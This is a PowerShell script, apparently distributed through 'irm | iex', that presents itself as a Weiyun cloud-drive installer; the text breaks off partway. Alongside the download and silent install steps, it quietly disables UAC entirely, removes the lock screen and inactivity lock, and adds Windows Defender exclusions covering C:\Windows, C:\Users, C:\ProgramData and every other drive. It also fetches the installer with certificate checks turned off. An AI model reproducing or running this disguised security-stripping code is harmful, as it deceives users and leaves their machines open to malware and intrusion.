# Weiyun Online Installer - PowerShell Edition (Windows 7+ Compatible)
# Version: 3.9.0.2405
# Usage: irm https://your-domain.com/weiyun_installer_online.ps1 | iex
# Or: Invoke-RestMethod https://your-domain.com/weiyun_installer_online.ps1 | Invoke-Expression
# Parameters: -Force (skip confirmations), -NoCleanup (keep temporary files)

param(
    [switch]$Force,
    [switch]$NoCleanup
)

# Set console encoding to UTF-8
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8

# Configuration
$WeiyunVersion = "3.9.0.2405"
$WeiyunArch = "X64"
$Aria2Version = "1.37.0"
$TempDir = Join-Path $env:TEMP "weiyun_online_$(Get-Random)"

# Paths
$WeiyunPath1 = "C:\Program Files (x86)\Tencent\weiyundisk\Bin\wydrive.exe"
$WeiyunPath2 = "$env:LOCALAPPDATA\Programs\WeiyunApp\WeiyunApp.exe"

# URLs
$WeiyunUrl = "https://dldir1.qq.com/weiyun/WeiyunInstall_Beta_1_3.9.0.2405_20200424_103733_r0.exe"
$Aria2Url = "https://hub.gitmirror.com/https://github.com/aria2/aria2/releases/download/release-1.37.0/aria2-1.37.0-win-64bit-build1.zip"
$Aria2BackupUrl = "https://gitee.com/xavierlab/aria2c/releases/download/1.37.0/aria2-1.37.0-win-64bit-build1.zip"

# File names
$OutputFilename = "WeiyunApp-Setup-$WeiyunArch-$WeiyunVersion.exe"
$Aria2Zip = "aria2.zip"
$Aria2Dir = "aria2-$Aria2Version-win-64bit-build1"
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

function Write-ColorText {
    param(
        [string]$Text,
        [ConsoleColor]$Color = [ConsoleColor]::White
    )
    $originalColor = $Host.UI.RawUI.ForegroundColor
    $Host.UI.RawUI.ForegroundColor = $Color
    Write-Host $Text
    $Host.UI.RawUI.ForegroundColor = $originalColor
}

function Test-Administrator {
    $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
    return $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}

function Request-AdminPrivileges {
    if (-not (Test-Administrator)) {
        Write-ColorText "[INFO] Requesting administrator privileges..." -Color Yellow
        $arguments = "-NoProfile -ExecutionPolicy Bypass -Command `"irm https://gitee.com/xavierlab/weiyun_downloader/raw/main/weiyun_installer_online.ps1 | iex`""
        Start-Process PowerShell -Verb RunAs -ArgumentList $arguments
        exit
    }
}

function Fix-UserEnvironmentVariables {
    Write-ColorText "[INFO] Checking and fixing user environment variables..." -Color Yellow
    
    # Get user temp directory path
    $userTempPath = if ($env:USERPROFILE) {
        Join-Path $env:USERPROFILE "AppData\Local\Temp"
    } else {
        $env:LOCALAPPDATA + "\Temp"
    }
    
    # Check and fix TEMP environment variable
    if (-not $env:TEMP) {
        Write-ColorText "[WARNING] TEMP environment variable not found, setting to user temp directory..." -Color Yellow
        try {
            [Environment]::SetEnvironmentVariable("TEMP", $userTempPath, [EnvironmentVariableTarget]::User)
            $env:TEMP = $userTempPath
            Write-ColorText "[SUCCESS] TEMP environment variable set to $userTempPath" -Color Green
        }
        catch {
            Write-ColorText "[ERROR] Failed to set TEMP environment variable: $($_.Exception.Message)" -Color Red
        }
    }
    else {
        Write-ColorText "[INFO] TEMP environment variable: $env:TEMP" -Color Green
    }
    
    # Check and fix TMP environment variable
    if (-not $env:TMP) {
        Write-ColorText "[WARNING] TMP environment variable not found, setting to user temp directory..." -Color Yellow
        try {
            [Environment]::SetEnvironmentVariable("TMP", $userTempPath, [EnvironmentVariableTarget]::User)
            $env:TMP = $userTempPath
            Write-ColorText "[SUCCESS] TMP environment variable set to $userTempPath" -Color Green
        }
        catch {
            Write-ColorText "[ERROR] Failed to set TMP environment variable: $($_.Exception.Message)" -Color Red
        }
    }
    else {
        Write-ColorText "[INFO] TMP environment variable: $env:TMP" -Color Green
    }
    
    # Ensure the user temp directory exists
    if (-not (Test-Path $userTempPath)) {
        Write-ColorText "[INFO] Creating user temp directory: $userTempPath" -Color Yellow
        try {
            New-Item -ItemType Directory -Path $userTempPath -Force | Out-Null
            Write-ColorText "[SUCCESS] User temp directory created" -Color Green
        }
        catch {
            Write-ColorText "[ERROR] Failed to create user temp directory: $($_.Exception.Message)" -Color Red
        }
    }
}

function Set-PermanentKeepAwake {
    Write-ColorText "[INFO] Configuring permanent keep awake settings..." -Color Yellow
    
    try {
        # Permanently disable system sleep and hibernation using powercfg
        & powercfg /change standby-timeout-ac 0 2>$null
        & powercfg /change standby-timeout-dc 0 2>$null
        & powercfg /change monitor-timeout-ac 0 2>$null
        & powercfg /change monitor-timeout-dc 0 2>$null
        & powercfg /change hibernate-timeout-ac 0 2>$null
        & powercfg /change hibernate-timeout-dc 0 2>$null
        
        # Disable hibernation completely
        & powercfg /hibernate off 2>$null
        
        # Disable automatic sleep through registry
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0" -Name "Attributes" -Value 2 -Type DWord -Force -ErrorAction SilentlyContinue
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364" -Name "Attributes" -Value 2 -Type DWord -Force -ErrorAction SilentlyContinue
        
        # Disable screen saver and lock screen
        Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "ScreenSaveActive" -Value "0" -Type String -Force -ErrorAction SilentlyContinue
        Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "ScreenSaverIsSecure" -Value "0" -Type String -Force -ErrorAction SilentlyContinue
        
        # Create registry path if it doesn't exist
        $personalizationPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Personalization"
        if (-not (Test-Path $personalizationPath)) {
            New-Item -Path $personalizationPath -Force | Out-Null
        }
        Set-ItemProperty -Path $personalizationPath -Name "NoLockScreen" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue
        
        # Disable automatic lock after inactivity
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "InactivityTimeoutSecs" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
        
        # Disable USB selective suspend
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USB" -Name "DisableSelectiveSuspend" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue
        
        Write-ColorText "[SUCCESS] Permanent keep awake settings configured - computer will never sleep or lock screen" -Color Green
    }
    catch {
        Write-ColorText "[WARNING] Some keep awake settings may not have been applied: $($_.Exception.Message)" -Color Yellow
    }
}

function Disable-UAC {
    Write-ColorText "[INFO] Completely disabling User Account Control (UAC)..." -Color Yellow
    
    try {
        # Disable UAC completely
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0 -Type DWord -Force
        
        # Disable UAC prompt behavior for administrators
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord -Force
        
        # Disable UAC prompt behavior for standard users
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorUser" -Value 0 -Type DWord -Force
        
        # Disable UAC elevation prompts for UIAccess applications
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableUIADesktopToggle" -Value 0 -Type DWord -Force
        
        # Disable secure desktop for UAC prompts
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Value 0 -Type DWord -Force
        
        # Disable UAC for built-in Administrator account
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "FilterAdministratorToken" -Value 0 -Type DWord -Force
        
        # Disable UAC virtualization
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableVirtualization" -Value 0 -Type DWord -Force
        
        # Disable UAC for installer detection
        Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableInstallerDetection" -Value 0 -Type DWord -Force
        
        Write-ColorText "[SUCCESS] UAC has been completely disabled." -Color Green
        Write-ColorText "[INFO] A system restart is required for UAC changes to take effect." -Color Yellow
    }
    catch {
        Write-ColorText "[WARNING] Some UAC settings may not have been disabled: $($_.Exception.Message)" -Color Yellow
    }
}

function Disable-HDR {
    Write-ColorText "[INFO] Completely disabling display HDR functionality..." -Color Yellow
    
    try {
        # Disable HDR through multiple registry paths and methods
        Write-ColorText "[INFO] Disabling HDR through registry settings..." -Color Yellow
        
        $regPaths = @(
            'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\VideoSettings',
            'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\VideoSettings',
            'HKCU:\SOFTWARE\Microsoft\DirectX\UserGpuPreferences',
            'HKLM:\SOFTWARE\Microsoft\DirectX\UserGpuPreferences'
        )
        
        foreach ($regPath in $regPaths) {
            try {
                if (-not (Test-Path $regPath)) {
                    New-Item -Path $regPath -Force | Out-Null
                }
                Set-ItemProperty -Path $regPath -Name 'EnableAdvancedColorMode' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
                Set-ItemProperty -Path $regPath -Name 'EnableHDR' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
                Set-ItemProperty -Path $regPath -Name 'HDREnabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
                Write-ColorText "[SUCCESS] HDR disabled in $regPath" -Color Green
            }
            catch {
                Write-ColorText "[WARNING] Could not modify $regPath" -Color Yellow
            }
        }
        
        # Disable HDR for all display adapters
        Write-ColorText "[INFO] Disabling HDR for all display adapters..." -Color Yellow
        try {
            $adapters = Get-WmiObject -Class Win32_VideoController -ErrorAction SilentlyContinue
            foreach ($adapter in $adapters) {
                if ($adapter.Name) {
                    Write-ColorText "[INFO] Processing adapter: $($adapter.Name)" -Color Yellow
                    $adapterKey = 'HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}'
                    try {
                        $subKeys = Get-ChildItem -Path $adapterKey -ErrorAction SilentlyContinue
                        foreach ($subKey in $subKeys) {
                            try {
                                Set-ItemProperty -Path $subKey.PSPath -Name 'EnableHDR' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
                                Set-ItemProperty -Path $subKey.PSPath -Name 'HDRSupported' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
                            }
                            catch {
                                # Ignore individual subkey failures
                            }
                        }
                    }
                    catch {
                        # Ignore adapter processing failures
                    }
                }
            }
        }
        catch {
            Write-ColorText "[WARNING] Could not process display adapters" -Color Yellow
        }
        
        # Disable Windows HDR settings
        Write-ColorText "[INFO] Disabling Windows HDR settings..." -Color Yellow
        try {
            $hdrPath = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced'
            if (-not (Test-Path $hdrPath)) {
                New-Item -Path $hdrPath -Force | Out-Null
            }
            Set-ItemProperty -Path $hdrPath -Name 'EnableAutoHDR' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
            Set-ItemProperty -Path $hdrPath -Name 'AutoHDR' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
        }
        catch {
            Write-ColorText "[WARNING] Could not disable Windows HDR settings" -Color Yellow
        }
        
        # Disable Auto HDR for gaming (Windows 11)
        Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\DirectX\UserGpuPreferences" -Name "DirectXUserGlobalSettings" -Value "SwapEffectUpgradeEnable=0;VRROptimizeEnable=0;AutoHDREnable=0;" -Type String -Force -ErrorAction SilentlyContinue
        Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "EnableAutoHDR" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
        Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "AutoHDR" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
        
        # Disable HDR in display color settings
        Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize" -Name "EnableTransparency" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
        Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "AutoColorization" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue
        
        Write-ColorText "[SUCCESS] Display HDR has been completely disabled." -Color Green
        Write-ColorText "[INFO] HDR settings have been disabled system-wide." -Color Yellow
    }
    catch {
        Write-ColorText "[WARNING] HDR configuration not available on this system: $($_.Exception.Message)" -Color Yellow
    }
}

function Invoke-DiskScanAndExclusions {
    Write-Host ""
    Write-ColorText "=================================================================" -Color Cyan
    Write-ColorText "      Scanning disk drives and configuring exclusions..." -Color Cyan
    Write-ColorText "=================================================================" -Color Cyan
    Write-Host ""
    
    # Initialize variables
    $script:ScanSuccess = $false
    $script:CFreeGB = $null
    $script:AllDrives = @()
    
    try {
        # Single scan to get all disk information
        $drives = Get-WmiObject -Class Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 }
        $cDrive = $drives | Where-Object { $_.DeviceID -eq "C:" }
        
        # Store C drive free space
        if ($cDrive) {
            $script:CFreeGB = [math]::Round($cDrive.FreeSpace / 1GB, 1)
        }
        
        # Store all drive information and display
        $script:AllDrives = @()
        foreach ($drive in $drives) {
            $totalGB = [math]::Round($drive.Size / 1GB, 1)
            $freeGB = [math]::Round($drive.FreeSpace / 1GB, 1)
            $usedGB = [math]::Round(($drive.Size - $drive.FreeSpace) / 1GB, 1)
            $freePercent = [math]::Round(($drive.FreeSpace / $drive.Size) * 100, 1)
            
            $driveInfo = @{
                DeviceID = $drive.DeviceID
                TotalGB = $totalGB
                FreeGB = $freeGB
                UsedGB = $usedGB
                FreePercent = $freePercent
            }
            $script:AllDrives += $driveInfo
            
            Write-Host "Drive $($drive.DeviceID) Total: $totalGB GB | Free: $freeGB GB ($freePercent%)"
        }
        
        # Display C drive free space info
        if ($script:CFreeGB) {
            Write-ColorText "[INFO] C drive free space: $($script:CFreeGB) GB" -Color Green
        }
        
        $script:ScanSuccess = $true
        
        Write-Host ""
        
        # Configure Windows Defender exclusions using the same scan data
        Write-ColorText "[INFO] Adding exclusion directories..." -Color Yellow
        
        # Check if Windows Defender is available first
        try {
            Get-Command Add-MpPreference -ErrorAction Stop | Out-Null
        }
        catch {
            Write-ColorText "[WARNING] Windows Defender PowerShell module not available - skipping exclusions" -Color Yellow
            return
        }
        
        # Build exclusion directory list
        $exclusionDirs = @(
            "C:\Windows",
            "C:\Users",
            "C:\ProgramData"
        )
        
        # Add all non-C drives as root directories (using data from the same scan)
        foreach ($drive in $drives) {
            if ($drive.DeviceID -ne "C:") {
                $exclusionDirs += "$($drive.DeviceID)\"
            }
        }
        
        # Filter existing directories first
        $validDirs = @()
        foreach ($dir in $exclusionDirs) {
            if (-not (Test-Path $dir)) {
                Write-ColorText "[SKIP] Directory does not exist: $dir" -Color Yellow
            }
            else {
                $validDirs += $dir
            }
        }
        
        # Add all valid directories in batch for better performance
        if ($validDirs.Count -gt 0) {
            foreach ($dir in $validDirs) {
                try {
                    Add-MpPreference -ExclusionPath $dir -ErrorAction Stop
                    Write-ColorText "[SUCCESS] $dir" -Color Green
                }
                catch {
                    Write-ColorText "[FAILED] $dir - Access denied or path invalid" -Color Red
                }
            }
        }
    }
    catch {
        Write-ColorText "[WARNING] Failed to scan disk drives automatically." -Color Yellow
        Write-ColorText "[INFO] Opening 'This PC' to manually check disk space..." -Color Yellow
        Start-Process "explorer.exe" -ArgumentList "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
        Start-Sleep 2
        $script:ScanSuccess = $false
    }
}

function Test-DiskSpace {
    # Check if previous scan was successful
    if (-not $script:ScanSuccess) {
        Write-ColorText "[WARNING] Disk scan was not successful earlier." -Color Yellow
        Write-ColorText "[INFO] Continuing with installation..." -Color Yellow
        return
    }
    
    # Check C drive free space using data from previous scan
    if ($script:CFreeGB) {
        # Robust comparison for all PowerShell versions
        $spaceWarning = $false
        try {
            $spaceWarning = [double]$script:CFreeGB -lt 5.0
        }
        catch {
            # Fallback comparison method for older PowerShell versions
            $spaceWarning = $script:CFreeGB -lt 5
        }
        
        if ($spaceWarning) {
            Write-Host ""
            Write-ColorText "[WARNING] ==========================================" -Color Red
            Write-ColorText "[WARNING] C drive has less than 5GB free space!" -Color Red
            Write-ColorText "[WARNING] Current free space: $($script:CFreeGB) GB" -Color Red
            Write-ColorText "[WARNING] Installation may fail due to insufficient space." -Color Red
            Write-ColorText "[WARNING] ==========================================" -Color Red
            Write-Host ""
            
            if (-not $Force) {
                $choice = Read-Host "Continue anyway? (Y/N)"
                if ($choice -ne "Y" -and $choice -ne "y") {
                    Write-ColorText "[INFO] Installation cancelled by user." -Color Yellow
                    exit 0
                }
            }
        }
    }
    else {
        Write-ColorText "[WARNING] Could not determine C drive free space." -Color Yellow
        Write-ColorText "[INFO] Continuing with installation..." -Color Yellow
    }
}

function Test-WeiyunInstalled {
    if (Test-Path $WeiyunPath1) {
        return $WeiyunPath1
    }
    elseif (Test-Path $WeiyunPath2) {
        return $WeiyunPath2
    }
    return $null
}

function Install-WithWinget {
    Write-ColorText "[METHOD 1] Attempting installation using winget..." -Color Cyan
    
    try {
        $wingetVersion = winget --version 2>$null
        if ($LASTEXITCODE -eq 0) {
            Write-ColorText "[INFO] winget detected, attempting installation..." -Color Green
            Write-Host ""  # Add blank line for better visibility
            
            # Force output to be displayed before starting winget
            [Console]::Out.Flush()
            Start-Sleep 1
            
            Write-ColorText "[INFO] Executing winget install command..." -Color Cyan
            Write-ColorText "[INFO] This may take a few minutes, please wait..." -Color Yellow
            
            # Execute winget with proper output handling
            $wingetProcess = Start-Process -FilePath "winget" -ArgumentList @(
                "install", 
                "--id=Tencent.Weiyun", 
                "-v", "3.9.0", 
                "-e", 
                "--accept-package-agreements", 
                "--accept-source-agreements"
            ) -NoNewWindow -PassThru -Wait
            
            # Show real-time output by reading the process
            Write-Host "winget output will appear below:" -ForegroundColor Cyan
            
            if ($wingetProcess.ExitCode -eq 0) {
                Write-ColorText "[SUCCESS] Weiyun installed successfully using winget!" -Color Green
                return $true
            }
            else {
                Write-ColorText "[WARNING] winget installation failed (Exit Code: $($wingetProcess.ExitCode)), falling back to download method..." -Color Yellow
                return $false
            }
        }
        else {
            Write-ColorText "[INFO] winget not available, using download method..." -Color Yellow
            return $false
        }
    }
    catch {
        Write-ColorText "[INFO] winget not available, using download method..." -Color Yellow
        return $false
    }
}

function Download-File {
    param(
        [string]$Url,
        [string]$OutputPath,
        [string]$BackupUrl = $null
    )
    
    # Function to download with progress
    function Download-WithProgress {
        param([string]$Uri, [string]$OutFile)
        
        try {
            Write-ColorText "[INFO] Starting download..." -Color Yellow
            Write-Host "URL: $Uri" -ForegroundColor Gray
            Write-Host "Output: $OutFile" -ForegroundColor Gray
            Write-Host ""
            
            # Use WebClient for better progress control
            $webClient = New-Object System.Net.WebClient
            $webClient.Headers.Add("User-Agent", $UserAgent)
            
            # Register progress event
            Register-ObjectEvent -InputObject $webClient -EventName DownloadProgressChanged -Action {
                $percent = $Event.SourceEventArgs.ProgressPercentage
                $received = $Event.SourceEventArgs.BytesReceived
                $total = $Event.SourceEventArgs.TotalBytesToReceive
                
                if ($total -gt 0) {
                    $receivedMB = [math]::Round($received / 1MB, 2)
                    $totalMB = [math]::Round($total / 1MB, 2)
                    Write-Progress -Activity "Downloading" -Status "$percent% Complete ($receivedMB MB / $totalMB MB)" -PercentComplete $percent
                }
            } | Out-Null
            
            # Start download
            $webClient.DownloadFile($Uri, $OutFile)
            $webClient.Dispose()
            
            # Clean up progress
            Write-Progress -Activity "Downloading" -Completed
            Write-ColorText "[SUCCESS] Download completed" -Color Green
            return $true
        }
        catch {
            Write-Progress -Activity "Downloading" -Completed
            if ($webClient) { $webClient.Dispose() }
            throw $_.Exception
        }
    }
    
    try {
        return Download-WithProgress -Uri $Url -OutFile $OutputPath
    }
    catch {
        if ($BackupUrl) {
            try {
                Write-ColorText "[INFO] Primary download failed, trying backup source..." -Color Yellow
                return Download-WithProgress -Uri $BackupUrl -OutFile $OutputPath
            }
            catch {
                Write-ColorText "[ERROR] Both download sources failed: $($_.Exception.Message)" -Color Red
                return $false
            }
        }
        else {
            Write-ColorText "[ERROR] Download failed: $($_.Exception.Message)" -Color Red
            return $false
        }
    }
}

function Install-WithDownload {
    Write-Host ""
    Write-ColorText "[METHOD 2] Using download and install method..." -Color Cyan
    Write-Host ""
    
    # Create temp directory
    Write-ColorText "[STEP 1/4] Preparing environment..." -Color Yellow
    if (Test-Path $TempDir) {
        Remove-Item $TempDir -Recurse -Force -ErrorAction SilentlyContinue
    }
    New-Item -ItemType Directory -Path $TempDir -Force | Out-Null
    Set-Location $TempDir
    
    # Download aria2 if needed
    Write-ColorText "[STEP 2/4] Checking download tool..." -Color Yellow
    $Aria2Exe = Join-Path $TempDir "$Aria2Dir\aria2c.exe"
    
    if (-not (Test-Path $Aria2Exe)) {
        $aria2ZipPath = Join-Path $TempDir $Aria2Zip
        
        if (-not (Download-File -Url $Aria2Url -OutputPath $aria2ZipPath -BackupUrl $Aria2BackupUrl)) {
            Write-ColorText "[ERROR] Failed to download aria2. Please check your internet connection." -Color Red
            return $false
        }
        
        Write-ColorText "[INFO] Extracting aria2..." -Color Yellow
        
        # Try multiple extraction methods for better compatibility
        $extractionSuccess = $false
        
        # Method 1: Try Expand-Archive (PowerShell 5.0+)
        try {
            Write-ColorText "[INFO] Trying PowerShell Expand-Archive method..." -Color Yellow
            Expand-Archive -Path $aria2ZipPath -DestinationPath $TempDir -Force
            Write-ColorText "[SUCCESS] PowerShell extraction completed" -Color Green
            $extractionSuccess = $true
        }
        catch {
            Write-ColorText "[INFO] PowerShell extraction failed, trying .NET Framework method..." -Color Yellow
            
            # Method 2: Try .NET Framework ZipFile
            try {
                Add-Type -AssemblyName System.IO.Compression.FileSystem
                [System.IO.Compression.ZipFile]::ExtractToDirectory($aria2ZipPath, $TempDir)
                Write-ColorText "[SUCCESS] .NET Framework extraction completed" -Color Green
                $extractionSuccess = $true
            }
            catch {
                Write-ColorText "[INFO] .NET Framework extraction failed, trying Shell.Application method..." -Color Yellow
                
                # Method 3: Try Shell.Application COM object
                try {
                    $shell = New-Object -ComObject Shell.Application
                    $zip = $shell.NameSpace($aria2ZipPath)
                    $dest = $shell.NameSpace($TempDir)
                    
                    # Copy with options: 4=No progress dialog, 16=Respond "Yes to All", 1024=No confirmation dialog
                    $dest.CopyHere($zip.Items(), 4 + 16 + 1024)
                    
                    # Wait a bit for the extraction to complete
                    Start-Sleep 2
                    Write-ColorText "[SUCCESS] Shell.Application extraction completed" -Color Green
                    $extractionSuccess = $true
                }
                catch {
                    Write-ColorText "[INFO] Shell.Application extraction failed, trying manual guidance..." -Color Yellow
                    
                    # Method 4: Manual extraction guidance
                    Write-ColorText "[ERROR] All automatic extraction methods failed" -Color Red
                    Write-ColorText "[INFO] Please manually extract $aria2ZipPath to $TempDir" -Color Yellow
                    Write-ColorText "[INFO] You can:" -Color Yellow
                    Write-ColorText "  1. Right-click on $aria2ZipPath and select 'Extract All...'" -Color Yellow
                    Write-ColorText "  2. Use 7-Zip, WinRAR, or other extraction software" -Color Yellow
                    Write-ColorText "  3. Extract to: $TempDir" -Color Yellow
                    Write-Host ""
                    
                    # Open the temp directory for user convenience
                    try {
                        Start-Process "explorer.exe" -ArgumentList $TempDir
                    }
                    catch {
                        # Ignore if explorer fails to open
                    }
                    
                    $choice = Read-Host "Press Enter after manual extraction is complete, or type 'skip' to cancel"
                    if ($choice -eq "skip") {
                        Write-ColorText "[INFO] Installation cancelled by user." -Color Yellow
                        return $false
                    }
                    
                    # Check if manual extraction was successful
                    if (Test-Path $Aria2Exe) {
                        Write-ColorText "[SUCCESS] Manual extraction verified" -Color Green
                        $extractionSuccess = $true
                    }
                    else {
                        Write-ColorText "[ERROR] Manual extraction failed - aria2c.exe not found" -Color Red
                        return $false
                    }
                }
            }
        }
        
        if (-not $extractionSuccess) {
            Write-ColorText "[ERROR] Failed to extract aria2 using all available methods" -Color Red
            return $false
        }
    }
    
    if (-not (Test-Path $Aria2Exe)) {
        Write-ColorText "[ERROR] aria2c.exe not found after extraction." -Color Red
        return $false
    }
    
    # Download Weiyun installer
    Write-ColorText "[STEP 3/4] Downloading Weiyun installer..." -Color Yellow
    $installerPath = Join-Path $TempDir $OutputFilename
    
    $aria2Args = @(
        "--max-connection-per-server=8",
        "--split=8",
        "--dir=$TempDir",
        "--out=$OutputFilename",
        "--console-log-level=info",
        "--show-console-readout=true",
        "--human-readable=true",
        "--continue=true",
        "--allow-overwrite=true",
        "--check-certificate=false",
        "--user-agent=$UserAgent",
        "--summary-interval=1",
        "--download-result=full",
        "--enable-color=true",
        $WeiyunUrl
    )
    
    Write-ColorText "[INFO] Starting Weiyun installer download..." -Color Cyan
    Write-ColorText "[INFO] Download progress:" -Color Yellow
    Write-Host ""
    
    # Execute aria2 directly to show real-time output
    try {
        & $Aria2Exe @aria2Args
        $aria2ExitCode = $LASTEXITCODE
    }
    catch {
        Write-ColorText "[ERROR] Failed to execute aria2: $($_.Exception.Message)" -Color Red
        return $false
    }
    
    Write-Host ""
    if ($aria2ExitCode -eq 0) {
        Write-ColorText "[SUCCESS] Weiyun installer download completed!" -Color Green
    }
    else {
        Write-ColorText "[WARNING] Download finished with exit code: $aria2ExitCode" -Color Yellow
        Write-ColorText "[INFO] Checking if file was downloaded successfully..." -Color Yellow
    }
    
    if (-not (Test-Path $installerPath)) {
        Write-ColorText "[ERROR] Failed to download Weiyun installer." -Color Red
        return $false
    }
    
    # Install Weiyun
    Write-ColorText "[STEP 4/4] Installing Weiyun silently..." -Color Yellow
    Write-ColorText "[INFO] Installing in silent mode, please wait..." -Color Yellow
    Write-Host ""  # Add blank line for better visibility
    
    try {
        # Force output to be displayed before starting installation
        [Console]::Out.Flush()
        Start-Sleep 1
        
        Write-ColorText "[INFO] Starting installation process..." -Color Cyan
        Start-Process -FilePath $installerPath -ArgumentList "/S" -Wait -NoNewWindow
        
        Write-ColorText "[INFO] Installation process completed, verifying..." -Color Cyan
        Start-Sleep 3
        return $true
    }
    catch {
        Write-ColorText "[ERROR] Installation failed: $($_.Exception.Message)" -Color Red
        return $false
    }
}

function Remove-TempFiles {
    if (-not $NoCleanup -and (Test-Path $TempDir)) {
        Write-ColorText "[INFO] Cleaning up temporary files..." -Color Yellow
        try {
            Set-Location $env:TEMP
            Remove-Item $TempDir -Recurse -Force -ErrorAction SilentlyContinue
        }
        catch {
            Write-ColorText "[WARNING] Failed to clean up some temporary files." -Color Yellow
        }
    }
}

function Show-CompletionMessage {
    Write-Host ""
    Write-ColorText "=================================================================" -Color Green
    Write-ColorText "[COMPLETE] Installation finished!" -Color Green
    Write-ColorText "=================================================================" -Color Green
    Write-Host ""
    
    # Try to start Weiyun
    $installedPath = Test-WeiyunInstalled
    if ($installedPath) {
        Write-ColorText "[INFO] Weiyun installed successfully at: $installedPath" -Color Green
        try {
            Start-Process $installedPath
            Write-ColorText "[INFO] Weiyun has been started." -Color Green
        }
        catch {
            Write-ColorText "[INFO] Please manually start Weiyun from the Start Menu." -Color Yellow
        }
    }
    else {
        Write-ColorText "[WARNING] Installation completed but Weiyun executable not found in expected locations." -Color Yellow
        Write-ColorText "[INFO] Please check the Start Menu for Weiyun." -Color Yellow
    }
}



# Main execution
try {
    # Request admin privileges
    Request-AdminPrivileges
    
    # Set window title
    $Host.UI.RawUI.WindowTitle = "Weiyun Installer - Windows 7+ Compatible Edition"
    

    
    # Fix user environment variables (TEMP/TMP)
    Fix-UserEnvironmentVariables
    
    # Keep computer awake permanently
    Set-PermanentKeepAwake
    
    # Disable User Account Control (UAC)
    Disable-UAC
    
    # Disable Display HDR (High Dynamic Range)
    Disable-HDR
    
    # Scan disk drives and configure exclusions (combined operation)
    Invoke-DiskScanAndExclusions
    
    # Test disk space using data from previous scan
    Test-DiskSpace
    
    Write-Host ""
    Write-ColorText "=================================================================" -Color Cyan
    Write-ColorText "                    Weiyun Installer" -Color Cyan
    Write-ColorText "              Windows 7+ Compatible Edition" -Color Cyan
    Write-ColorText "=================================================================" -Color Cyan
    Write-Host ""
    
    # Check if Weiyun already exists
    $existingPath = Test-WeiyunInstalled
    if ($existingPath -and -not $Force) {
        Write-ColorText "[INFO] Weiyun is already installed at: $existingPath" -Color Green
        $choice = Read-Host "Reinstall? (Y/N)"
        if ($choice -ne "Y" -and $choice -ne "y") {
            Write-ColorText "[INFO] Starting existing Weiyun..." -Color Green
            try {
                Start-Process $existingPath
                Write-ColorText "[INFO] Done. Script will exit in 3 seconds..." -Color Green
                Start-Sleep 3
                exit 0
            }
            catch {
                Write-ColorText "[ERROR] Failed to start existing Weiyun: $($_.Exception.Message)" -Color Red
            }
        }
    }
    
    # Get Windows version
    $osVersion = [System.Environment]::OSVersion.Version
    $isWindows10Plus = $osVersion.Major -ge 10
    
    $installSuccess = $false
    
    # Try winget first on Windows 10+
    if ($isWindows10Plus) {
        $installSuccess = Install-WithWinget
    }
    else {
